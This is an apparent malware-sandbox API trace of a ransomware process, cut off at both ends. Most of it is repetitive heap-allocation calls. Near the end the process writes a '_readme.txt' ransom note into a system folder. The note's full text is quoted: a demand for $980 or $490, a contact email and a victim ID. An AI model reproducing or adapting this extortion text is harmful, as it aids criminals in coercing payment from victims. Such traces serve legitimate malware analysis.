lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.324] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.324] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.325] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.326] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.327] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.328] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.328] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.328] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.328] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.328] PathFindFileNameW (pszPath="") returned="" [0124.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.328] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.329] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.329] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.329] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.329] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.329] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.329] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.329] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0124.329] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.329] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0124.330] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.330] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.330] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.330] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.330] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.330] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 